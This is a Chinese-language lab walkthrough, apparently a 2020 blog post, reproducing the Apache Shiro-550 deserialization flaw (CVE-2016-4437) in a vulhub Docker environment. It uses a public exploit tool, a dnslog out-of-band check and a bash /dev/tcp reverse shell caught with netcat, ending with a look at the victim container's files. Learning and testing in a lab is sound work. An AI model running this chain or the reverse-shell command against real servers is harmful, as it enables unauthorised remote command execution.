渗透测试--shiro-550漏洞复现(CVE-2016-4437)

漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

影响范围

Apache Shiro版本<=1.2.4

参考手册:

  • 利用链详解
  • 工具

 

漏洞复现(当对漏洞了解一定原理后,以最快的方式复现)

一.使用vulhub起shiro对应环境(搭建环境可以看我上一篇vulhub搭建步骤

(1)

 

 (2)进入CVE-2016-4437 目录 

(3)执行 docker-compose up -d (初次运行需要加载一系列文件)

(4)docker ps  查看对应的端口

 

 (5)输入虚拟机的ip地址+端口 

xxxx.xxx.xxx.xxx:8080

 

(6)https://github.com/wyzxxz/shiro_rce 下载shiro_rce工具包

(7)解压出来后运行工具

java -jar shiro_tool.jar https://xx.xx.xx.xx

(8)工具开启成功,执行命令

 

 这里输入对应的dnslog地址

dnslog也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

这里提供一个在线生产的第三方平台

http://www.dnslog.cn/

点击get subdomain 获取对应的地址

 

 输入完成后 ,enter确认命令,再点击Refresh Record,可以看到对应的解析记录

 

 

(9)再开一台虚拟机,用来执行反弹shell,也就是说A是我们的vulhub搭起来环境的虚拟机,B是我们控制A的虚拟机,下面XX输入B的IP地址,8080为对应的监听端口

    但是如果A在Linux系统中 这段代码需要base64加密,而WIN不用加密,目前我也正在研究原因是什么,知道的大佬可以下面评论帮助一下

     这里提供一下base64加密的在线网址:  http://www.jackson-t.ca/runtime-exec-payloads.html

 输入以下命令:bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1
base64加密后的结果为

 

   然后再另一台虚拟机B 开启监听端口 8080   

   命令为:nc -l 8080

 

 然后回到工具命令行:输入加密后base64命令:

 

 最后回到虚拟机 B 会看到以下结果:

 

 成功拿到反弹shell

这时候输入命令 查看受害机A的Docker容器下的文件 

 

 

     

 

 
posted @ 2020-10-22 11:21  KYOooo  阅读(1336)  评论(0编辑  收藏  举报